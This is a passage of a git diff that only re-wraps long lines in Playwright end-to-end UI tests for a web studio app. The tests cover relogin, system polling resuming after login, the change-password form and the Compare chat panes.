-                raise AssertionError(f"login route reloaded or redirected unexpectedly: {page.url}")
+                raise AssertionError(
+                    f"login route reloaded or redirected unexpectedly: {page.url}"
+                )
             pw_field.fill(NEW2)
             # Wait on the login POST so a transient 4xx/5xx is caught and retried
             # here, not swallowed until the out-of-loop composer wait.
@@ -1513,7 +1563,9 @@ with sync_playwright() as p:
                     flush = True,
                 )
             if page_errors:
-                print(f"[ui]   first pageerror:    {page_errors[0][:200]!r}", flush = True)
+                print(
+                    f"[ui]   first pageerror:    {page_errors[0][:200]!r}", flush = True
+                )
             try:
                 shoot(f"18-relogin-attempt-{_relogin_attempt + 1}-fail")
             except Exception:
@@ -1552,13 +1604,18 @@ with sync_playwright() as p:
     composer = page.locator('textarea[aria-label="Message input"]')
     composer.wait_for(state = "visible", timeout = 60_000)
     monitor_deadline = time.time() + 10
-    while len(system_requests) == login_system_request_count and time.time() < monitor_deadline:
+    while (
+        len(system_requests) == login_system_request_count
+        and time.time() < monitor_deadline
+    ):
         page.wait_for_timeout(100)
     if len(system_requests) == login_system_request_count:
         fail("persisted monitor did not resume /api/system polling after login")
     if page.get_by_role("dialog", name = re.compile(r"^Settings$")).count() != 0:
         fail("settings shortcut on /login left the dialog open after authentication")
-    info("OK persisted monitor stayed dormant on /login and resumed after authentication")
+    info(
+        "OK persisted monitor stayed dormant on /login and resumed after authentication"
+    )
     shoot("18-relogin-with-NEW2")
 
     step("Shutdown via account menu")
diff --git a/tests/studio/playwright_extra_ui.py b/tests/studio/playwright_extra_ui.py
index dde6c5d635..22f3d7e625 100644
--- a/tests/studio/playwright_extra_ui.py
+++ b/tests/studio/playwright_extra_ui.py
@@ -127,7 +127,9 @@ with sync_playwright() as p:
     form_err: Exception | None = None
     for _form_attempt in range(3):
         try:
-            page.goto(f"{BASE}/change-password", wait_until = "domcontentloaded", timeout = 60_000)
+            page.goto(
+                f"{BASE}/change-password", wait_until = "domcontentloaded", timeout = 60_000
+            )
             try:
                 page.wait_for_load_state("networkidle", timeout = 30_000)
             except Exception:
@@ -275,14 +277,20 @@ with sync_playwright() as p:
     step("Compare tab: send to two panes")
     # Compare lives in the composer "Tools and attachments" menu.
     compare_opened = False
-    plus_btn = page.get_by_role("button", name = re.compile(r"Tools and attachments", re.I)).first
+    plus_btn = page.get_by_role(
+        "button", name = re.compile(r"Tools and attachments", re.I)
+    ).first
     if plus_btn.count() > 0:
         plus_btn.click(force = True)
         page.wait_for_timeout(400)
-        compare_item = page.get_by_role("menuitem", name = re.compile(r"Compare chat", re.I)).first
+        compare_item = page.get_by_role(
+            "menuitem", name = re.compile(r"Compare chat", re.I)
+        ).first
         if compare_item.count() == 0:
             # Fallback: Compare chat may be under the "More" submenu.
-            more_trigger = page.get_by_role("menuitem", name = re.compile(r"^More$", re.I)).first
+            more_trigger = page.get_by_role(
+                "menuitem", name = re.compile(r"^More$", re.I)
+            ).first
             if more_trigger.count() > 0:
                 more_trigger.hover()
                 page.wait_for_timeout(400)
@@ -357,7 +365,9 @@ with sync_playwright() as p:
                         arg = ok_count_before + 4,
                         timeout = 60_000,
                     )
-                    info("OK Compare: 4 total new assistant bubbles after second prompt")
+                    info(
+                        "OK Compare: 4 total new assistant bubbles after second prompt"
+                    )
                 except Exception as exc:
                     runtime_warn(
                         f"Compare: 4 bubbles didn't appear (panes likely "
@@ -378,7 +388,9 @@ with sync_playwright() as p:
     page.wait_for_timeout(1500)
     shoot("05-recipes-list")
     # Template cards render as